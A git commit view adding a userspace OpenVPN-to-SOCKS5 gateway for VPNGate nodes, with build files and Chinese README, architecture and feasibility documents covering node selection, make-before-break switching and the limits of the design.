OpenVPN client with an authenticated SOCKS5 front door

A userspace VPN gateway: builds an OpenVPN tunnel to a VPNGate node with
the OpenVPN 3 core, terminates it in-process with lwIP, and serves SOCKS5
(RFC 1928/1929, CONNECT and UDP ASSOCIATE) over it. No root, no tun
device, no routing table changes.

Layout follows the module boundaries in docs/ARCHITECTURE.md:

  vpngate/   directory fetch + CSV parse (lines run to ~13.5 KB, so the
             parser streams rather than splitting on newlines)
  selector/  two-phase pick: cheap prior over the whole list, then real
             TCP handshake timing of the top K
  ovpn/      openvpn3 driven through TunBuilder, packets over a socketpair
  netstack/  lwIP: the TCP/IP stack that makes "no root" possible
  egress/    the swappable way out, and make-before-break switching
  socks5/    the front door
  health/    per-window scoring, and the decision to move
  app/       wiring, admin HTTP, signals

docs/FEASIBILITY.md is the analysis this was built from, including the
one requirement that is not physically possible -- carrying established
TCP connections across a node switch -- and what is done instead
(zero-progress redial, UDP re-homing, grace-period drain).

Tests: 155 without the tunnel egress, 172 with it. The seam is the egress
factory; selection, scoring, history and probing all run for real.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
This commit is contained in:
iceBear67
2026-07-28 04:38:39 +00:00
co-authored by Claude Opus 5
commit b2ba45c9f8
98 changed files with 24119 additions and 0 deletions
+31
View File
@@ -0,0 +1,31 @@
# Build trees. Two of them by convention: `build` and `build-tunnel`, the same
# source configured with OVG_WITH_TUNNEL off and on.
/build*/
CMakeUserPresets.json
# Runtime state. The node cache and the per-node outcome history are written by
# the running service; committing them would ship one machine's opinion of which
# volunteer servers are good, and the cache would be stale within the hour.
/var/*
!/var/.gitkeep
# Local operator config. etc/openvpngate.conf is the documented sample and is
# tracked; anything else in there is a real deployment's, credentials included.
/etc/*
!/etc/openvpngate.conf
*.auth
# Editor and OS noise
*.swp
*~
.vscode/
.idea/
.DS_Store
# Tooling
compile_commands.json
.cache/
perf.data*
callgrind.out.*
*.gcda
*.gcno
+32
View File
@@ -0,0 +1,32 @@
cmake_minimum_required(VERSION 3.20)
project(openvpngate VERSION 0.1.0 LANGUAGES C CXX)
set(CMAKE_CXX_STANDARD 20)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
set(CMAKE_CXX_EXTENSIONS OFF)
set(CMAKE_C_STANDARD 11)
set(CMAKE_POSITION_INDEPENDENT_CODE ON)
if(NOT CMAKE_BUILD_TYPE AND NOT CMAKE_CONFIGURATION_TYPES)
set(CMAKE_BUILD_TYPE Release CACHE STRING "" FORCE)
endif()
option(OVG_BUILD_TESTS "Build unit tests" ON)
option(OVG_WITH_TUNNEL "Build the OpenVPN3 + lwIP tunnel egress" ON)
list(APPEND CMAKE_MODULE_PATH ${CMAKE_CURRENT_SOURCE_DIR}/cmake)
include(Dependencies)
add_subdirectory(src)
if(OVG_BUILD_TESTS)
enable_testing()
add_subdirectory(tests)
endif()
message(STATUS "")
message(STATUS "openvpngate ${PROJECT_VERSION}")
message(STATUS " build type : ${CMAKE_BUILD_TYPE}")
message(STATUS " tunnel egress: ${OVG_WITH_TUNNEL}")
message(STATUS " tests : ${OVG_BUILD_TESTS}")
message(STATUS "")
+217
View File
@@ -0,0 +1,217 @@
# openvpngate
一个 OpenVPN 客户端 + SOCKS5 代理网关:进程内建立到 VPNGate 节点的 OpenVPN 隧道,
对外提供一个带用户名/密码认证的 SOCKS5 服务,并在节点质量下降时自动换节点。
**全程不需要 root。** 没有 tun 设备、没有路由表改动、没有 capability——隧道在用户态
终结(lwIP),进程只是一个普通的监听程序。
```
SOCKS5 客户端 ──► socks5::Server ──► egress::Egress ──► lwIP ──► openvpn3 ──► VPNGate 节点
(认证/CONNECT/UDP) (可热替换) (用户态 TCP/IP)
```
先读哪一份:
| 文档 | 内容 |
|---|---|
| [docs/FEASIBILITY.md](docs/FEASIBILITY.md) | 动手前的可行性结论。**需求中唯一不可能的部分在 §1**;UDP ASSOCIATE 的明确表态在 §5;1000 并发的真实天花板在 §4 |
| [docs/ARCHITECTURE.md](docs/ARCHITECTURE.md) | 模块边界、线程模型、切换状态机、选点与健康检查的具体算法 |
| [etc/openvpngate.conf](etc/openvpngate.conf) | 全部配置项,每一项都带默认值和「为什么是这个默认值」 |
---
## 1. 需求对照
| 需求 | 状态 | 说明 |
|---|---|---|
| 基于 OpenVPN 3 Core | ✅ | 以 `USE_TUN_BUILDER` 编译,走 TunBuilder 路径拿裸 IP 包 |
| 连接 VPNGate 节点 | ✅ | 自动抓取 `http://www.vpngate.net/api/iphone/` 并解析 |
| 解析超长行 CSV | ✅ | 实测最长行 13529 字符(整个 .ovpn 以 base64 放在最后一列),解析器按流处理,不按行切分 |
| 多指标自动选点 | ✅ | 延迟(**本地实测握手**)+ API 指标 + 本地历史成功率,见 ARCHITECTURE §6 |
| 节点健康检查与自动重连 | ✅ | 两层:隧道内重连由 openvpn3 负责,换节点由 health + egress 负责 |
| SOCKS5 + 用户名密码认证 | ✅ | RFC 1928 / RFC 1929 |
| ~1000 并发、不每连接一线程 | ✅ | asio 异步 I/O,固定线程池(默认 ≤4),连接数只占内存不占线程 |
| TCP CONNECT / DNS / 超时 / 半关闭 / 异常断开 | ✅ | DNS 在隧道内解析,不泄漏 |
| **SOCKS5 UDP ASSOCIATE** | ✅ **支持**,但**不支持分片**(FRAG≠0 直接丢弃并计数) | 见 FEASIBILITY §5.1 |
| 换节点后新连接走新隧道 | ✅ | make-before-break:新隧道完全就绪后才切换 |
| **换节点后保持已建立的 TCP 连接** | ❌ **不可能** | 见下 |
| 做不到就断开旧连接 | ✅ | 旧 egress 进入 drain,宽限期内继续服务,到期全部关闭 |
### 唯一不可能的部分
**已建立的 TCP 连接无法跨 VPN 节点迁移。** 换节点意味着换公网出口 IP,而对端 socket 的
四元组里写死了旧 IP;序列号、窗口、拥塞状态全在对端内核里,我们既读不到也搬不走。任何
声称做到的方案,要么是在对端也装了东西(MPTCP、QUIC 连接迁移),要么是没换出口 IP。
完整论证见 FEASIBILITY §1。
工程上能做到的三件事(都已实现):
1. **新连接**立刻走新隧道——这是 make-before-break 的意义;
2. **零进度连接透明重试**:还没搬运过任何字节的 TCP 连接不含对端状态,直接在新隧道上重
拨,客户端完全无感(`switch.retry_zero_progress`);
3. **UDP association 原地换巢**:UDP 无连接状态,只换出口 socket,客户端看到的中继端口
不变(`switch.rehome_udp`)——这是设计时的意外收获,FEASIBILITY §5.3
其余(已搬过字节的 TCP)在宽限期 `switch.drain_grace` 内继续用旧隧道服务,到期关闭。
---
## 2. 构建
系统依赖(Debian/Ubuntu):
```sh
sudo apt install -y build-essential cmake pkg-config \
libasio-dev libssl-dev liblz4-dev libfmt-dev git
```
openvpn3 和 lwIP 是源码依赖,默认由 CMake `FetchContent` 拉取;已有 checkout 可以直接指过去
`-DOVG_OPENVPN3_DIR=... -DOVG_LWIP_DIR=...`),避免每次配置都联网。
> 本工作副本的两个 build 目录正是这么配的,指向 `/tmp/ovpn3` 和 `/tmp/lwip`。`/tmp` 会在
> 重启后消失,届时重新 configure(不带这两个参数即可让 FetchContent 重新拉取)。
```sh
cmake -S . -B build -DCMAKE_BUILD_TYPE=Release
cmake --build build -j
```
两个开关:
| 选项 | 默认 | 含义 |
|---|---|---|
| `OVG_WITH_TUNNEL` | `ON` | 编译 OpenVPN3 + lwIP 隧道出口。**关掉**则只有 `direct` 出口,用于在没有网络依赖的机器上开发和跑测试;此时二进制会拒绝以 `egress.mode = tunnel` 启动,而不是悄悄明文代理 |
| `OVG_BUILD_TESTS` | `ON` | 单元测试 |
产物:`build/src/openvpngate`(主程序)、`build/tests/ovg_tests`(测试)、
`build/src/ovg_tunnel_smoke`(只建隧道、ping、退出的诊断工具,仅 `OVG_WITH_TUNNEL=ON`,见 §6)。
---
## 3. 运行
```sh
cp etc/openvpngate.conf ./openvpngate.conf # 改 [users] 里的口令
./build/src/openvpngate -c openvpngate.conf --check # 只校验配置并打印,不启动
./build/src/openvpngate -c openvpngate.conf
```
命令行参数只有六个,都用来覆盖配置文件里的同名项:
```
-c, --config PATH 配置文件
--check 校验并打印最终配置后退出
--listen ADDR:PORT 覆盖 socks5 监听地址
--egress tunnel|direct
--log-level trace|debug|info|warn|error|off
--no-admin 关掉管理接口
-V, --version -h, --help
```
信号:`SIGHUP` 重新加载认证文件和节点列表(不断开任何在途连接);`SIGINT`/`SIGTERM`
优雅退出(停止 accept → 排空 → 拆隧道);退出过程中再来一次 `SIGINT` 立即退出。
### 不带 VPN 先验证代理本身
`egress.mode = direct` 让所有流量走宿主机 socket,**不经过任何 VPN**。它存在的唯一理由
是把「SOCKS5 实现对不对」和「隧道通不通」两件事分开调试:
```sh
./build/src/openvpngate -c openvpngate.conf --egress direct --listen 127.0.0.1:1080
curl -sS --socks5-hostname alice:changeme@127.0.0.1:1080 https://example.com -o /dev/null -w '%{http_code}\n'
```
`--socks5-hostname` 让 curl 把域名交给代理解析(DNS 不泄漏路径);`--socks5` 则是本地解析。
两条路径都支持。
---
## 4. 管理接口
默认 `127.0.0.1:9080`,**没有认证**,所以务必留在环回口上。
| 路由 | 用途 |
|---|---|
| `GET /status` | 当前节点、切换阶段、切换次数/失败次数、排空中的 egress |
| `GET /nodes` | 最近一次选点排名,含每个节点的得分、实测 RTT 和「为什么是这个分」 |
| `GET /sessions` | 在线会话,含各自挂在哪个 egress 上 |
| `GET /health` | 最近若干次健康窗口的原始采样 |
| `GET /metrics` | Prometheus 文本格式 |
| `GET /healthz` | 存活探针,只有 200/503 |
| `POST /switch` | 手动换节点。被拒绝时返回**具体原因**(四种:本构建没有隧道 / 已在切换中 / 防抖动窗口未到 / 上次失败正在退避),不是一句 `false` |
```sh
curl -s localhost:9080/status | jq
curl -s -XPOST localhost:9080/switch
```
---
## 5. 测试
```sh
./build/tests/ovg_tests # 全部
./build/tests/ovg_tests socks5 # 子串过滤
ctest --test-dir build
```
测试不碰公网:CSV 解析吃固定样本,选点探测打的是本文件自己起的环回监听,隧道出口在
`EgressManager` 上留了一个 factory 接缝,由可精确复现失败的 fake 顶替。接缝只有这一处
(「一个节点怎么变成一条隧道」),选点、评分、历史、探测器都是真的在跑。
当前:`OVG_WITH_TUNNEL=OFF` 155 passed / 2 skipped`ON` 172 passed / 3 skipped。
重点覆盖的是最难在生产观察的那部分——切换状态机:make-before-break 不打扰既有会话、
宽限期到期关闭掉队者、hard 模式一次性关闭、候选逐个尝试、地址冲突降级为 hard 切换、
排空数量上限、防抖动与 force 的关系、机会性切换必须赢过在位节点、启动预算耗尽后如实报错、
以及**冷启动等待节点列表不能算作失败**。
有一类 bug 是这套测试**结构性看不见**的:测试用 `io.run_for(2ms)` 切片驱动事件循环,
而服务是 `io.run()` 一次然后等它返回。lwIP 的周期定时器会永久自我续约,于是它是一份
work guard 永远收不回的待办工作——测试全绿,服务却在打完一整套完美的优雅退出日志之后
永远不退出(且只在 tunnel 模式,direct 模式根本不建栈)。修复是 `Stack::stop()`,回归
测试 `stack_stop_lets_the_io_context_drain` 直接断言 `run()` 会返回。
---
## 6. 在这台沙箱里验证到了什么、没验证到什么
诚实的部分:
**已用真实网络验证(记录见 FEASIBILITY 附录)**
- VPNGate API 实测抓取:1.29 MB / 96 个节点 / 最长行 13529 字符,解析通过;
- `tools/tunnel_smoke` 对真实 VPNGate 节点建立隧道成功:拿到 `10.239.88.225/30`
收到 6 个 ICMP echo reply,正常退出——即 openvpn3 + socketpair-as-tun 这条数据面通路
本身是成立的。
**已在 `direct` 模式下逐项运行验证**
SOCKS5 CONNECT(远端解析与本地解析、明文与 TLS)、认证拒绝、连接被拒的带内回复(0x05)、
UDP ASSOCIATE 的真实 DNS 往返、分片丢弃、`/sessions` 实时反映会话、全部管理路由、未知路由
404、`SIGHUP` 重载(94 个节点)、带活跃会话的 `SIGTERM` 优雅退出。
**已在 `tunnel` 模式下验证的部分**
真实节点选点、隧道建立尝试、断线重连、以及**优雅退出**(对真实 VPNGate 节点、在隧道处于
重连状态时收到 `SIGTERM`,1 秒内完成拆隧道并退出)。数据面本身走不通,原因见下。
**没能验证的:完整二进制在 `tunnel` 模式下的端到端数据面。**
本沙箱存在**透明 TCP 拦截**:连 `192.0.2.1:1213`(TEST-NET-1,保证不可路由)、
`175.129.117.170:1213``1.1.1.1:443` 全部在 ~0.9ms「连接成功」然后一个字节都不回;
UDP:53 通,UDP:1195 超时。这同时解释了两个现象——探测器报告「到日本 1ms」,以及 OpenVPN
握手在发出 client hello 后拿到 `NETWORK_EOF_ERROR`。这是环境限制,不是代码缺陷,但**没被
验证过就是没被验证过**:在一个出网正常的机器上跑 `ovg_tunnel_smoke` 是接手这份代码后
第一件该做的事。
---
## 7. 已知的边界
- **1000 并发的天花板不在本进程。** 本进程扛得住(异步 I/O、固定线程池、内存是唯一线性
成本),lwIP 的 `MEMP_NUM_TCP_PCB` 等已按此调过;真正的瓶颈是 VPNGate 上那些志愿者跑的
免费节点,它们通常同时服务几十上百人。详见 FEASIBILITY §4。
- **UDP ASSOCIATE 不做分片重组**(FRAG≠0 丢弃并计数)。理由与取舍见 FEASIBILITY §5.1。
- **不支持 SOCKS5 BIND**,也不打算支持(FEASIBILITY §5.4)。
- **管理接口没有认证**,靠绑定环回口来保护。
- VPNGate 绝大多数节点只提供 UDP remote,而只有 TCP 能用一次 `connect()` 量出真实 RTT
所以 top-K 里通常只有三四个能被实测到;其余沿用 API 报告的 ping 并加惩罚系数。日志里
会明说「top 10 中有 6 个没有可计时的 TCP remote」,免得看起来像过滤器坏了。
+103
View File
@@ -0,0 +1,103 @@
# Third-party dependency resolution.
#
# System packages (asio, OpenSSL, lz4, fmt) are expected to be installed.
# openvpn3 and lwIP are source dependencies: point OVG_OPENVPN3_DIR / OVG_LWIP_DIR
# at an existing checkout, or let FetchContent pull them.
include(FetchContent)
find_package(PkgConfig REQUIRED)
find_package(Threads REQUIRED)
pkg_search_module(OPENSSL REQUIRED IMPORTED_TARGET openssl)
pkg_search_module(LZ4 REQUIRED IMPORTED_TARGET liblz4)
find_package(fmt REQUIRED)
find_path(ASIO_INCLUDE_DIR asio.hpp REQUIRED)
message(STATUS "asio headers: ${ASIO_INCLUDE_DIR}")
set(OVG_OPENVPN3_DIR "" CACHE PATH "Existing openvpn3 checkout (skips download)")
set(OVG_LWIP_DIR "" CACHE PATH "Existing lwIP checkout (skips download)")
if(OVG_WITH_TUNNEL)
# ---- openvpn3 core -------------------------------------------------------
if(OVG_OPENVPN3_DIR)
set(OPENVPN3_SOURCE_DIR ${OVG_OPENVPN3_DIR})
else()
FetchContent_Declare(openvpn3
GIT_REPOSITORY https://github.com/OpenVPN/openvpn3.git
GIT_TAG master
GIT_SHALLOW TRUE)
FetchContent_Populate(openvpn3) # populate only: we compile it into our own target
set(OPENVPN3_SOURCE_DIR ${openvpn3_SOURCE_DIR})
endif()
if(NOT EXISTS ${OPENVPN3_SOURCE_DIR}/client/ovpncli.cpp)
message(FATAL_ERROR "openvpn3 not found at ${OPENVPN3_SOURCE_DIR}")
endif()
message(STATUS "openvpn3 source: ${OPENVPN3_SOURCE_DIR}")
# The openvpn3 core is header-only apart from these two units. It cannot be
# built as a standalone library because callers must supply OPENVPN_LOG and
# friends at compile time, so we compile the sources into our own target.
add_library(ovg_openvpn3 STATIC
${OPENVPN3_SOURCE_DIR}/client/ovpncli.cpp
${OPENVPN3_SOURCE_DIR}/openvpn/crypto/data_epoch.cpp)
target_include_directories(ovg_openvpn3 PUBLIC ${OPENVPN3_SOURCE_DIR} ${ASIO_INCLUDE_DIR})
# -isystem for consumers. The core's headers are not clean under our warning
# set and never will be; suppressing per-warning here would mean chasing a
# new flag on every upstream bump, and blanket-disabling warnings on the file
# that includes them would blind us to problems in our own code in that same
# file. This draws the line exactly where it belongs.
set_target_properties(ovg_openvpn3 PROPERTIES
INTERFACE_SYSTEM_INCLUDE_DIRECTORIES "${OPENVPN3_SOURCE_DIR}")
target_compile_definitions(ovg_openvpn3 PUBLIC
ASIO_STANDALONE
USE_ASIO
HAVE_LZ4
USE_OPENSSL
USE_TUN_BUILDER) # <-- the whole design hinges on this: see docs/FEASIBILITY.md §2.2
target_link_libraries(ovg_openvpn3 PUBLIC
PkgConfig::OPENSSL PkgConfig::LZ4 fmt::fmt Threads::Threads)
target_compile_options(ovg_openvpn3 PRIVATE -Wno-deprecated-declarations)
# ---- lwIP ----------------------------------------------------------------
if(OVG_LWIP_DIR)
set(LWIP_SOURCE_DIR ${OVG_LWIP_DIR})
else()
FetchContent_Declare(lwip
GIT_REPOSITORY https://github.com/lwip-tcpip/lwip.git
GIT_TAG STABLE-2_2_1_RELEASE
GIT_SHALLOW TRUE)
FetchContent_Populate(lwip)
set(LWIP_SOURCE_DIR ${lwip_SOURCE_DIR})
endif()
if(NOT EXISTS ${LWIP_SOURCE_DIR}/src/Filelists.cmake)
message(FATAL_ERROR "lwIP not found at ${LWIP_SOURCE_DIR}")
endif()
message(STATUS "lwIP source: ${LWIP_SOURCE_DIR}")
set(LWIP_DIR ${LWIP_SOURCE_DIR})
# Our lwipopts.h and the arch/ shim live in src/netstack/lwip_port.
set(LWIP_INCLUDE_DIRS
${LWIP_SOURCE_DIR}/src/include
${CMAKE_CURRENT_SOURCE_DIR}/src/netstack/lwip_port)
include(${LWIP_SOURCE_DIR}/src/Filelists.cmake)
# Core + IPv4 only. Deliberately NOT lwipapi_SRCS: api_lib/api_msg/netbuf/
# sockets are the sequential and BSD-socket APIs, which require NO_SYS=0 and
# a real threading layer. We drive the raw callback API from a strand instead
# (see src/netstack/lwip_stack.h), so those files cannot compile and would not
# be used if they did.
add_library(ovg_lwip STATIC ${lwipcore_SRCS} ${lwipcore4_SRCS})
target_include_directories(ovg_lwip PUBLIC ${LWIP_INCLUDE_DIRS})
# -isystem for consumers: lwIP's headers are not clean under our warning set.
set_target_properties(ovg_lwip PROPERTIES
INTERFACE_SYSTEM_INCLUDE_DIRECTORIES "${LWIP_SOURCE_DIR}/src/include")
# No LWIP_DEBUG define here, on purpose. lwIP tests it with #ifdef, not #if,
# so defining it to 0 *enables* the debug machinery -- the opposite of what it
# reads like. lwip_port/lwipopts.h says the same thing where it #undefs it.
target_compile_options(ovg_lwip PRIVATE -Wno-unused-parameter -Wno-address)
endif()
+294
View File
@@ -0,0 +1,294 @@
# 架构设计
前置阅读:[`FEASIBILITY.md`](FEASIBILITY.md)。本文假定读者已接受其中的结论,特别是
「已建立的 TCP 连接无法跨节点迁移」和「必须自带用户态 TCP/IP 栈」。
---
## 1. 全局数据流
```
┌──────────────────────────────────────────────┐
│ Control Plane │
│ VpnGateClient → NodeStore → Selector │
│ HealthMonitor → SwitchController │
└───────────────┬──────────────────────────────┘
│ switch_to(node)
SOCKS5 client ┌──────────────────────┐
──────────────► ┌─────┤ EgressManager ├──── owns ────┐
(TCP :1080) │ │ active / draining[] │ │
│ └──────────────────────┘ │
┌──────▼───────┐ │
│ socks5::Server│ acquire() ┌────────────────────▼──────────────┐
│ ├ Auth │────────────► │ Egress (tunnel #N) │
│ ├ Session │ │ ┌──────────────────────────────┐ │
│ └ UdpRelay │◄──TcpStream──┤ │ netstack::Stack (lwIP,NO_SYS)│ │
└──────┬───────┘ │ │ tcp_new/tcp_connect/... │ │
│ │ └──────────────┬───────────────┘ │
│ relay │ raw IP pkts │ (socketpair) │
▼ │ ┌──────────────▼───────────────┐ │
app payload │ │ ovpn::TunnelClient │ │
│ │ (ClientAPI::OpenVPNClient) │ │
│ └──────────────┬───────────────┘ │
└─────────────────┼──────────────────┘
VPNGate node (TCP/443)
```
关键约束:**每条 SOCKS5 会话在创建时绑定一个 `shared_ptr<Egress>`,终生不变。**
这一条决定了整个切换机制的正确性——见 §5。
---
## 2. 模块边界
每个模块一个目录,模块间只通过头文件里的接口交互,禁止跨模块引用实现细节。
| 模块 | 职责 | 不负责 |
|---|---|---|
| `common/` | 日志、配置、错误码、Endpoint、缓冲区、指标 | 任何业务逻辑 |
| `vpngate/` | 抓 API、解析 CSV、节点模型、磁盘缓存 | 决定用哪个节点 |
| `selector/` | 打分、探测、黑名单、选出候选节点 | 建立连接 |
| `ovpn/` | 包装 openvpn3、profile 净化、socketpair 管理 | TCP/IP 语义 |
| `netstack/` | lwIP 生命周期、netif、TcpStream/UdpSocket、DNS | 知道 VPN 的存在 |
| `egress/` | 出口抽象、隧道组装、切换与排空 | SOCKS5 协议 |
| `socks5/` | RFC 1928/1929、会话、中继、UDP relay | 出口怎么来的 |
| `health/` | 健康评分、切换决策 | 执行切换(交给 EgressManager |
| `app/` | 装配、CLI、配置加载、admin 接口、信号 | 上述任何逻辑 |
依赖方向严格单向:`app → {health, socks5, egress, selector} → {netstack, ovpn, vpngate} → common`
`netstack` 不知道 `ovpn` 的存在(它只拿到一个 fd),`socks5` 不知道 `ovpn`/`netstack` 的存在
(它只拿到 `Egress` 接口)。这是保证长期可维护的核心。
---
## 3. 线程模型
明确的线程边界,避免「哪个线程能调什么」变成口口相传的知识。
| 线程 | 数量 | 跑什么 | 规则 |
|---|---|---|---|
| **frontend io** | `min(hw_concurrency, 4)` | SOCKS5 accept / 中继 / admin HTTP | 每会话一个 `strand` 串行化 |
| **stack** | 每个 Egress 1 个 | lwIP 全部调用 + 包收发 + 定时器 | **所有 lwIP API 只能在此线程调** |
| **ovpn** | 每个 Egress 1 个 | `OpenVPNClient::connect()`(阻塞) | 只通过回调与外界交互 |
| **control** | 1 | 抓 API、探测、健康检查、切换编排 | 不做任何阻塞 IO 之外的重活 |
稳态(1 个 Egress):4 + 1 + 1 + 1 = 7 线程。
切换期间(2 个 Egress)峰值 9 线程。与连接数无关——这是「不能一连接一线程」的直接体现。
跨线程只用两种手段:`asio::post` 到目标 executor,或无锁原子。**不允许**跨线程持锁调用。
`netstack::Stack::post(fn)` 是唯一进入 lwIP 线程的入口;所有 `TcpStream` 的公开方法内部都
自动 post,因此调用者可以从任意线程安全调用。完成回调则 post 回调用方的 executor。
---
## 4. 关键接口
### 4.1 `egress::Egress`
上层唯一看得见的出口抽象。
```cpp
class Egress {
virtual void async_connect_tcp(const Endpoint&, milliseconds timeout, ConnectHandler) = 0;
virtual void async_bind_udp(UdpBindHandler) = 0;
virtual void async_resolve(const std::string& host, ResolveHandler) = 0;
virtual EgressState state() const = 0;
virtual EgressStats stats() const = 0;
};
```
三个实现:
- `TunnelEgress` — lwIP + openvpn3,生产用。
- `DirectEgress` — 直接用宿主 socket,用于本地测试 SOCKS5 逻辑而不需要 VPN。
- (未来)`NetnsEgress` — 见 FEASIBILITY §7。
`socks5` 模块只依赖这个接口,因此可以完全脱离 VPN 做单元测试。
### 4.2 `netstack::TcpStream`
```cpp
class TcpStream {
virtual void async_read_some(MutableBuffer, ReadHandler) = 0; // cb(ec, n)
virtual void async_write(ConstBuffer, WriteHandler) = 0; // 全量写
virtual void shutdown_send() = 0; // 半关闭 → FIN
virtual void close() = 0;
};
```
**流控是显式的**lwIP 的 `recv` 回调收到数据后,我们只把它挂进 per-conn 队列,
**不立刻调 `tcp_recved()`**。只有当上层真的把字节读走了,才按消费量调 `tcp_recved(pcb, n)`
推进接收窗口。这样对端的发送速率会被 SOCKS5 客户端的消费速率自然反压,不会在代理里堆积。
写方向对称:`tcp_write()``tcp_sndbuf()` 限制,写不下的部分挂起,在 `sent` 回调里续写;
`async_write` 的完成回调在**数据被 lwIP 发送缓冲接纳时**触发(而非收到 ACK 时)。
---
## 5. 节点切换:make-before-break
这是本项目最核心的机制,对应 FEASIBILITY §1.3。
### 5.1 状态机
```
┌────────┐ need_switch ┌───────────┐ picked ┌────────────┐
│ Idle ├───────────────►│ Selecting ├──────────►│ Connecting │
└────▲───┘ └─────┬─────┘ └──────┬─────┘
│ │ no candidate │ tunnel up
│ ▼ ▼
│ (backoff) ┌────────────┐
│ │ Promoting │ 原子换 active_
│ └──────┬─────┘
│ drain done / grace expired │
└───────────────────┬───────────────────────────────┘
┌────────────┐
│ Draining │ 旧 Egress 引用计数归零即销毁
└────────────┘
Connecting 失败 → 保留旧 Egress,惩罚候选,退避重试
```
**关键:`Promoting` 之前旧隧道一直在服务。** 新隧道建不起来对现有流量零影响。
### 5.2 引用计数即排空
```cpp
// 会话创建时
auto egress = manager.acquire(); // shared_ptr,持有到会话结束
// 切换时
{
std::lock_guard lk(mu_);
draining_.push_back({std::move(active_), now + drain_grace});
active_ = new_egress; // 之后 acquire() 返回新的
}
```
旧 Egress 的 `shared_ptr` 引用计数天然就是「还有多少会话在用它」。归零 → 析构 → 隧道关闭。
不需要单独维护会话表,也不会漏。
`drain_grace` 到期时,对仍存活的会话调用 `force_close()`——这就是需求里「做不到就断开」的
那部分,只是范围缩到了最小。
### 5.3 零进度连接透明重试
`Session` 记录 `bytes_up + bytes_down`。切换发生时若该会话仍为 0,说明还没有字节流状态:
```
if (session.total_bytes() == 0 && session.state() == Established)
→ 在新 Egress 上重连目标,替换 TcpStream,客户端无感
else
→ 留在旧 Egress 排空
```
### 5.4 UDP association 重新归巢
对每个存活的 UDP association:保持面向客户端的 socket 不变,只在新 Egress 上重开出口 PCB。
客户端完全无感(FEASIBILITY §5.3)。
### 5.5 防抖动
| 保护 | 默认值 |
|---|---|
| 最小切换间隔 | 60s |
| 候选必须优于当前的幅度 | 分数高 20% 以上 |
| 连续判定为不健康的窗口数 | 3 |
| 同时 draining 的 Egress 上限 | 2 |
| 切换失败后退避 | 指数,30s → 480s 封顶 |
---
## 6. 选点策略
API 指标不可信(FEASIBILITY §3.3),所以分两阶段。
**阶段一:先验筛选(便宜)** — 用 API 字段过滤和粗排:
```
prior = w1·norm(Score) + w2·norm(Speed) + w3·(1/(1+NumVpnSessions)) + w4·norm(Uptime)
- country_penalty - protocol_penalty(tcp 比 udp 扣分)
```
取 top-K(默认 12)进入阶段二。
**阶段二:本地实测(贵,但准)** — 对 K 个候选**并发**做 TCP 握手计时(连到节点的
OpenVPN 端口,成功即断),取多次采样的中位数作为 `rtt_ms`
```
score = α·(1/rtt_ms) + β·prior + γ·history_success_rate - δ·recent_failure_penalty
```
`history_*` 来自持久化的 `node_history.json`:每个节点记录成功/失败次数、
历史平均吞吐、最近一次失败时间。**同一个节点连续失败会被指数退避拉黑**,避免反复撞墙。
分数最高者胜出。若与当前节点分数差距不足 20%,**不切换**(§5.5 迟滞)。
---
## 7. 健康检查
两层,职责不同:
**L1 — 隧道内重连(openvpn3 自己做)**
`ping` / `ping-restart` 触发的会话内重连。此时 socketpair fd 通过 `tunPersist=true` 保持不变,
**lwIP 实例和所有连接都不受影响**。这是最廉价的自愈,覆盖绝大多数瞬时抖动。
**L2 — 换节点(我们做)**
`HealthMonitor``interval`(默认 15s)对 active Egress 采样:
| 信号 | 采集方式 | 权重 |
|---|---|---|
| 隧道状态 | openvpn3 event`DISCONNECTED`/`RECONNECTING`| 一票否决 |
| 隧道内 RTT | 通过 Egress 做一次 DNS 查询计时 | 高 |
| 连接成功率 | 滑动窗口统计 SOCKS5 CONNECT 结果 | 高 |
| 吞吐停滞 | 有活跃会话但零字节推进的持续时长 | 中 |
| 丢包 | lwIP 重传计数 | 中 |
综合分低于阈值并**连续 3 个窗口**成立 → 通知 `SwitchController`。单次抖动不触发。
---
## 8. SOCKS5 实现要点
- **认证**:RFC 1929 用户名/密码。凭据从配置文件或 `--auth-file` 读取,
口令存储为 `sha256(salt || password)`,比较用常量时间。支持仅 `NO_AUTH`(显式配置才允许)。
- **握手超时**、**连接超时**、**空闲超时** 三个独立计时器,任何一个到期都干净关闭。
- **半关闭**:一方 EOF → 对另一方 `shutdown_send()`,另一方向继续传输,直到双向都结束。
这是很多代理实现的 bug 源头(收到 EOF 就整条关掉,会截断响应)。
- **异常断开**RST / 进程退出 / Egress 销毁,都通过 `Session::force_close()` 统一路径回收,
保证 `TcpStream` 和 fd 不泄漏。
- **准入控制**`max_sessions` 在 accept 层生效,超限直接拒绝——这是 lwIP 用 malloc 之后
防 OOM 的唯一闸门(FEASIBILITY §4.2)。
- **UDP ASSOCIATE**:见 FEASIBILITY §5.1。`FRAG != 0` 丢弃并计数。
---
## 9. 可观测性
- **日志**:分级(trace/debug/info/warn/error),带模块标签和会话 ID。
切换、选点、健康判定这三条链路是 info 级——出问题时必须能从日志还原决策过程。
- **指标**`/metrics`Prometheus 文本格式)导出会话数、切换次数、各 Egress 的 RTT 与流量、
DNS 缓存命中率、拒绝计数等。
- **admin 接口**`/status`(当前节点、Egress 状态、draining 列表)、
`POST /switch`(手动触发切换,运维逃生口)、`/nodes`(当前候选池及分数)。
---
## 10. 目录结构
```
src/
├── common/ logging.h config.h error.h endpoint.h buffer.h metrics.h
├── vpngate/ api_client.* csv_parser.* node.h node_store.*
├── selector/ prober.* scorer.* selector.*
├── ovpn/ tunnel_client.* profile_sanitizer.* packet_pipe.*
├── netstack/ lwip_stack.* lwip_tcp.* lwip_udp.* dns_resolver.* lwipopts.h
├── egress/ egress.h tunnel_egress.* direct_egress.* egress_manager.*
├── socks5/ protocol.* auth.* server.* session.* udp_relay.*
├── health/ health_monitor.* switch_controller.*
└── app/ main.cpp app.* admin_server.*
```
+431
View File
@@ -0,0 +1,431 @@
# 技术可行性分析
本文档是动手写代码之前的结论。所有判断都基于对 openvpn3 源码、VPNGate API 实测响应、
以及目标运行环境的实际验证,而不是推测。验证记录见文末「附录:验证方法」。
---
## 0. 结论速览
| 需求 | 判定 | 说明 |
|---|---|---|
| OpenVPN 3 Core 作为协议实现 | ✅ 可行 | 需以 `USE_TUN_BUILDER` 编译,走 TunBuilder 路径 |
| 无 root 用户态处理流量 | ✅ 可行 | socketpair + 用户态 TCP/IP 栈(lwIP |
| VPNGate 节点列表抓取与解析 | ✅ 可行 | 实测 1.29 MB / 96 节点 / 最长行 13529 字符 |
| 多指标自动选节点 | ✅ 可行 | API 指标不可信,必须以本地实测为主 |
